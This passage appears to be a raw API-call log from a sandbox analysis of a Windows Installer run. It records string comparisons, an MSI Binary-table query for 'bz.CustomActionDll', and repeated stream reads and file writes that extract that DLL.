0x10ce138 [0149.574] memcpy (in: _Dst=0x10ce138, _Src=0x372938, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.574] memcpy (in: _Dst=0x10ce138, _Src=0x37293c, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.574] memcpy (in: _Dst=0x10ce138, _Src=0x372940, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.574] memcpy (in: _Dst=0x10ce138, _Src=0x372944, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.574] memcpy (in: _Dst=0x10ce138, _Src=0x372948, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.574] memcpy (in: _Dst=0x10ce138, _Src=0x37294c, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.574] memcpy (in: _Dst=0x10ce138, _Src=0x372950, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.574] memcpy (in: _Dst=0x10ce138, _Src=0x372954, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.575] memcpy (in: _Dst=0x10ce138, _Src=0x372958, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.575] memcpy (in: _Dst=0x10ce138, _Src=0x37295c, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.575] memcpy (in: _Dst=0x10ce138, _Src=0x372960, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.575] memcpy (in: _Dst=0x10ce138, _Src=0x372964, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.575] memcpy (in: _Dst=0x10ce138, _Src=0x372968, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.575] memcpy (in: _Dst=0x10ce138, _Src=0x37296c, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.575] IUnknown:Release (This=0x32f000) returned 0x0 [0149.575] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0149.575] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0149.575] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0149.575] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0149.575] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0149.575] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0149.575] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0149.575] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0149.575] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0149.575] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0149.575] lstrlenW (lpString="Action") returned 6 [0149.575] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0149.575] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0149.575] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0149.575] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0149.575] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0149.575] lstrcmpiW (lpString1="NULL", lpString2="NULL") returned 0 [0149.576] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.576] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.576] lstrlenW (lpString="Action") returned 6 [0149.576] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0149.576] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0149.576] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0149.576] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0149.576] lstrcmpiW (lpString1="NULL", lpString2="NULL") returned 0 [0149.576] lstrlenW (lpString="NULL") returned 4 [0149.576] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.576] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.576] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.576] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.576] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.576] GlobalUnlock (hMem=0xf40208) returned 0 [0149.576] GlobalUnlock (hMem=0xf40228) returned 0 [0149.576] _vsnwprintf (in: _Buffer=0x10ce540, _BufferCount=0xff, _Format="SELECT `Data` FROM `Binary` WHERE `Name`='%s'", _ArgList=0x10ce4b8 | out: _Buffer="SELECT `Data` FROM `Binary` WHERE `Name`='bz.CustomActionDll'") returned 61 [0149.576] GlobalLock (hMem=0xf40228) returned 0x3cc0f0 [0149.576] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0149.577] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.577] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.577] lstrlenW (lpString="Binary") returned 6 [0149.577] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䌋䄱䜵", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce100, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0149.577] IStream:Stat (in: This=0x32e790, pstatstg=0x10ce060, grfStatFlag=0x1 | out: pstatstg=0x10ce060) returned 0x0 [0149.577] GlobalLock (hMem=0xf40208) returned 0x3c2880 [0149.577] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x3728bc, cb=0x400, pcbRead=0x372cbc | out: pv=0x3728bc*=0xa8, pcbRead=0x372cbc*=0x8) returned 0x0 [0149.577] memcpy (in: _Dst=0x3c2884, _Src=0x3728bc, _Size=0x2 | out: _Dst=0x3c2884) returned 0x3c2884 [0149.577] memcpy (in: _Dst=0x3c2890, _Src=0x3728be, _Size=0x2 | out: _Dst=0x3c2890) returned 0x3c2890 [0149.577] memcpy (in: _Dst=0x10ce1d8, _Src=0x3728c0, _Size=0x2 | out: _Dst=0x10ce1d8) returned 0x10ce1d8 [0149.577] memcpy (in: _Dst=0x10ce1d8, _Src=0x3728c2, _Size=0x2 | out: _Dst=0x10ce1d8) returned 0x10ce1d8 [0149.577] IUnknown:Release (This=0x32e790) returned 0x0 [0149.577] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0149.577] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0149.577] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0149.577] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0149.577] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0149.577] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0149.578] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0149.578] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0149.578] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0149.578] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0149.578] lstrlenW (lpString="Name") returned 4 [0149.578] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0149.578] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.578] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.578] lstrlenW (lpString="Data") returned 4 [0149.578] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.578] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.578] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.578] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.578] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.578] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䌋䄱䜵䅾䞽䘌䗶䐲䆊䌷䑲䏍䠯", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce2b0, ppstm=0x380190 | out: ppstm=0x380190*=0x7fef7acfc30) returned 0x0 [0149.579] IStream:Stat (in: This=0x32f000, pstatstg=0x10ce210, grfStatFlag=0x1 | out: pstatstg=0x10ce210) returned 0x0 [0149.579] GetEnvironmentVariableW (in: lpName="MsiBreak", lpBuffer=0x10ce230, nSize=0x105 | out: lpBuffer="") returned 0x0 [0149.580] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.585] GetCurrentThreadId () returned 0xf50 [0149.585] GetCurrentThreadId () returned 0xf50 [0149.585] SetEvent (hEvent=0x170) returned 1 [0149.585] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.586] memcpy (in: _Dst=0x37b074f, _Src=0x10cdb48, _Size=0x2 | out: _Dst=0x37b074f) returned 0x37b074f [0149.586] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.587] memcpy (in: _Dst=0x37b076c, _Src=0x10cde68, _Size=0x2 | out: _Dst=0x37b076c) returned 0x37b076c [0149.587] IStream:RemoteSeek (in: This=0x32f000, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0149.587] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x4d, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.587] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.587] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.587] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.587] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.587] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.587] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xb8, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.587] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.587] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.588] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.588] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x72, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.588] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.588] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x89, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.588] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.588] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.588] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.588] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x50, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.588] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.588] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x55, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.588] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.588] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.588] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.588] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.588] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.588] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x5d, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.588] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.588] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.589] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.589] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8d, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.589] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.589] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.589] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.589] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.589] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.589] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xec, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.589] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.589] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xff, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.589] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.589] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.589] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.589] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x50, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.589] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.589] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x50, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.589] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.589] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.589] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.589] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x7a, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.589] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.589] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x6, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.589] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.589] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.590] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.590] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x55, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.590] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.590] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x5e, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.590] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.590] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.590] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.590] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x7, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.590] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.590] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x50, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.590] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.590] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.590] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.590] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x4c, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.590] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.590] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x56, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.590] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.590] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.590] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.590] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xdd, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.590] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.590] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xeb, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.591] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.591] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.591] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.591] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x3b, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.591] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.591] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.591] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.591] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.591] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.591] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.591] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.591] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x4d, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.591] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.591] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.591] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.591] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xb, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.591] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.591] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x4d, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.591] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.591] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.591] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.591] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.592] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.592] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x1, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.592] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.592] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.592] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.592] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xc8, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.592] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.592] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xf, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.592] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.592] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: 